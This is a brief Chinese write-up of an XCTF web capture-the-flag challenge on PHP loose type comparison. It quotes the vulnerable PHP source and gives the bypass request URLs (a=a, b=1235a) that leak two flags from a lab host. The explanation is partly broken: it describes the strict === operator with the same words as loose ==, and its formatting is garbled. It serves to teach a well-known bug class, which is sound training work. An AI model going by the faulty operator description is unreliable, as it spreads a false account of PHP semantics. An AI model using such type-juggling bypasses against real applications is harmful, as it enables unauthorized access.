https://adworld.xctf.org.cn/task/answer?type=web&number=3&grade=0&id=5072
题解:
- 掌握php弱类型比较
- php中有两种比较符号:
==
: 先将字符串类型转化成相同,再比较===
: 先将字符串类型转化成相同,再比较- 字符串和数字比较使用
==
时,字符串会先转换为数字类型再比较php var_dump('a' == 0);//true,这里'a'会被转换数字0 var_dump('123a' == 123);//true,这里'123a'会被转换为123
-
<?php show_source(__FILE__); include("config.php"); $a=@$_GET['a']; $b=@$_GET['b']; if($a==0 and $a){ echo $flag1; } if(is_numeric($b)){ exit(); } if($b>1234){ echo $flag2; } ?>
- 前半段可以用:
html http://10.10.10.175:32779/index.php?a=a ``` - 同理var_dump('1234a' == 1234)结果为true,php的弱类型比较会忽略字母a
- 所以后半段可以用:
html http://10.10.10.175:32779/index.php?a=a&b=1235a